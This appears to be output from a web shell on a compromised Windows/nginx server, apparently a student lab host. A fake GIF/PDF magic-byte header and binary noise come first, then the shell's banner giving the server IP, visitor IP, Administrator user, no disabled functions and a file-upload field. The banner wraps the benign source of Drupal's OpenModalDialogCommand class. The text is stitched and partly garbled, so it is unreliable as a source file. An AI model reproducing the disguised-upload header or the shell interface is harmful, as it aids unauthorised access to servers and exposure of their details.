GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /nginx/html/Student/JimMartinson/Lab12/drupal/core/lib/Drupal/Core/Ajax/ |
Upload File : |
<?php namespace Drupal\Core\Ajax; /** * Defines an AJAX command to open certain content in a dialog in a modal dialog. * * @ingroup ajax */ class OpenModalDialogCommand extends OpenDialogCommand { /** * Constructs an OpenModalDialog object. * * The modal dialog differs from the normal modal provided by * OpenDialogCommand in that a modal prevents other interactions on the page * until the modal has been completed. Drupal provides a built-in modal for * this purpose, so no selector needs to be provided. * * @param string $title * The title of the dialog. * @param string|array $content * The content that will be placed in the dialog, either a render array * or an HTML string. * @param array $dialog_options * (optional) Settings to be passed to the dialog implementation. Any * jQuery UI option can be used. See http://api.jqueryui.com/dialog. * @param array|null $settings * (optional) Custom settings that will be passed to the Drupal behaviors * on the content of the dialog. If left empty, the settings will be * populated automatically from the current request. */ public function __construct($title, $content, array $dialog_options = [], $settings = NULL) { $dialog_options['modal'] = TRUE; parent::__construct('#drupal-modal', $title, $content, $dialog_options, $settings); } }